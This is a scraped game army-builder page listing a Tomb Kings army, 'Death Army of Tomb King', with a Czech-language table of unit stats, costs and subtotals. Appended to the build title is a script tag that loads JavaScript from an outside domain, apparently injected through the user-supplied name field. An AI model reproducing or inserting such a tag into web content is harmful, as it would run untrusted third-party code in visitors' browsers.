Left Panel
Death Army of Tomb King
Death Army of Tomb KingBuild by honga - 2018-01-24 23:30:08
1
1
2
160
160
160
160
160
160
160
160
160
160
120
120
120
120
60
60
60
60
24
24
24
24
44
44
24
24
24
16
16
12
12
16
16
1
4
1
1
Death Army of Tomb King<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Velitel (3) | 4 | 3900 | 0 | 0 | - | - | - | 106 | 1290 | 151 | 112 | 265 | 19472 | 220 | |||||
| 1 | Arkhan Černý | 1 | 1000 | 0 | 0 | 40 | 450 | 12 | 50 | 90 | 4840 | 75 | |||||||
| 2 | Král hrobek (Khemrijská válečná sfinga) | 1 | 2000 | 0 | 0 | 38 | 490 | 64 | 38 | 95 | 9816 | 80 | |||||||
| 3 | Nekrotekt (Kostlivý vůz) | 2 | 900 | 0 | 0 | 28 | 350 | 75 | 24 | 80 | 4816 | 65 | |||||||
| Kontaktní pěchota (10) | 679 | 9900 | 0 | 0 | - | - | - | 295 | 2208 | 237 | 314 | 825 | 37888 | 428 | |||||
| 4 | Kostliví válečníci | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 5 | Kostliví válečníci | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 6 | Kostliví válečníci | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 7 | Kostliví válečníci | 160 | 325 | 0 | 0 | 18 | 26 | 5 | 22 | 65 | 61 | 30 | |||||||
| 8 | Ushabti | 16 | 900 | 0 | 0 | 23 | 72 | 18 | 35 | 90 | 508 | 44 | |||||||
| 9 | Ushabti | 16 | 900 | 0 | 0 | 23 | 72 | 18 | 35 | 90 | 508 | 44 | |||||||
| 10 | Hrobový škorpión | 1 | 1000 | 0 | 0 | 35 | 380 | 45 | 33 | 90 | 6020 | 55 | |||||||
| 11 | Khemrijská válečná sfinga | 4 | 1800 | 0 | 0 | 38 | 480 | 64 | 38 | 95 | 9628 | 55 | |||||||
| 12 | Nekrosfinga | 1 | 2000 | 0 | 0 | 48 | 550 | 52 | 40 | 100 | 8360 | 50 | |||||||
| 13 | Hierotitán | 1 | 2000 | 0 | 0 | 56 | 550 | 20 | 45 | 100 | 12620 | 60 | |||||||
| Pěchota s kopími (6) | 960 | 2100 | 0 | 0 | - | - | - | 84 | 144 | 18 | 180 | 390 | 366 | 180 | |||||
| 14 | Kostliví kopiníci | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 15 | Kostliví kopiníci | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 16 | Kostliví kopiníci | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 17 | Kostliví kopiníci | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 18 | Kostliví kopiníci | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| 19 | Kostliví kopiníci | 160 | 350 | 0 | 0 | 14 | 24 | 3 | 30 | 65 | 61 | 30 | |||||||
| Střelecká pěchota (8) | 536 | 6500 | 0 | 0 | - | 548 | - | - | 146 | 130 | 360 | 68 | 186 | 380 | 2124 | 300 | |||
| 20 | Kostliví lučištníci | 120 | 475 | 0 | 0 | 11 | 140 | 8.3 | 22 | 10 | 20 | 3 | 14 | 10 | 57 | 30 | |||
| 21 | Kostliví lučištníci | 120 | 475 | 0 | 0 | 11 | 140 | 8.3 | 22 | 10 | 20 | 3 | 14 | 10 | 57 | 30 | |||
| 22 | Kostliví lučištníci | 120 | 475 | 0 | 0 | 11 | 140 | 8.3 | 22 | 10 | 20 | 3 | 14 | 10 | 57 | 30 | |||
| 23 | Kostliví lučištníci | 120 | 475 | 0 | 0 | 11 | 140 | 8.3 | 22 | 10 | 20 | 3 | 14 | 10 | 57 | 30 | |||
| 24 | Pohřební slídilové | 16 | 1200 | 0 | 0 | 130 | 80 | 6.7 | 8 | 22 | 75 | 10 | 30 | 80 | 440 | 50 | |||
| 25 | Pohřební slídilové | 16 | 1200 | 0 | 0 | 130 | 80 | 6.7 | 8 | 22 | 75 | 10 | 30 | 80 | 440 | 50 | |||
| 26 | Ushabti (velký luk) | 12 | 1100 | 0 | 0 | 122 | 255 | 6.1 | 21 | 23 | 65 | 18 | 35 | 90 | 508 | 40 | |||
| 27 | Ushabti (velký luk) | 12 | 1100 | 0 | 0 | 122 | 255 | 6.1 | 21 | 23 | 65 | 18 | 35 | 90 | 508 | 40 | |||
| Kontaktní jízda (2) | 120 | 800 | 0 | 0 | - | - | - | 44 | 52 | 52 | 52 | 100 | 172 | 72 | |||||
| 28 | Kostliví jezdci | 60 | 400 | 0 | 0 | 22 | 26 | 26 | 26 | 50 | 86 | 36 | |||||||
| 29 | Kostliví jezdci | 60 | 400 | 0 | 0 | 22 | 26 | 26 | 26 | 50 | 86 | 36 | |||||||
| Jízdní lučištníci (2) | 120 | 1000 | 0 | 0 | - | 34 | - | - | 36 | 32 | 40 | 28 | 36 | 40 | 172 | 72 | |||
| 30 | Kostliví jízdní lučištníci | 60 | 500 | 0 | 0 | 17 | 140 | 6.1 | 18 | 16 | 20 | 14 | 18 | 20 | 86 | 36 | |||
| 31 | Kostliví jízdní lučištníci | 60 | 500 | 0 | 0 | 17 | 140 | 6.1 | 18 | 16 | 20 | 14 | 18 | 20 | 86 | 36 | |||
| Vůz (4) | 96 | 3500 | 0 | 0 | - | - | - | 88 | 136 | 232 | 96 | 320 | 1896 | 220 | |||||
| 32 | Kostlivé střelecké vozy | 24 | 950 | 0 | 0 | 22 | 34 | 58 | 24 | 80 | 474 | 55 | |||||||
| 33 | Kostlivé střelecké vozy | 24 | 950 | 0 | 0 | 22 | 34 | 58 | 24 | 80 | 474 | 55 | |||||||
| 34 | Kostlivé vozy | 24 | 800 | 0 | 0 | 22 | 34 | 58 | 24 | 80 | 474 | 55 | |||||||
| 35 | Kostlivé vozy | 24 | 800 | 0 | 0 | 22 | 34 | 58 | 24 | 80 | 474 | 55 | |||||||
| Polní artilerie (2) | 88 | 1400 | 0 | 0 | - | 300 | - | - | 0 | 20 | 40 | 10 | 12 | 40 | 112 | 80 | |||
| 36 | Katapulty ječících lebek | 44 | 700 | 0 | 0 | 150 | 380 | 4.2 | 10 | 20 | 5 | 6 | 20 | 56 | 40 | ||||
| 37 | Katapulty ječících lebek | 44 | 700 | 0 | 0 | 150 | 380 | 4.2 | 10 | 20 | 5 | 6 | 20 | 56 | 40 | ||||
| Úderná jízda (3) | 72 | 4350 | 0 | 0 | - | - | - | 120 | 183 | 156 | 123 | 420 | 900 | 180 | |||||
| 38 | Rytíři nekropole | 24 | 1450 | 0 | 0 | 40 | 61 | 52 | 41 | 140 | 300 | 60 | |||||||
| 39 | Rytíři nekropole | 24 | 1450 | 0 | 0 | 40 | 61 | 52 | 41 | 140 | 300 | 60 | |||||||
| 40 | Rytíři nekropole | 24 | 1450 | 0 | 0 | 40 | 61 | 52 | 41 | 140 | 300 | 60 | |||||||
| Subtotal | 2675 | 33450 | 0 | 0 | - | 882 | - | - | 182 | 919 | 4453 | 952 | 1111 | 2780 | 63102 | 1752 | |||

English
Français
Italiano
Deutsch
Español
Русский
Polski
Türkçe
Português (Brasil)
한국어
简体中文
正體中文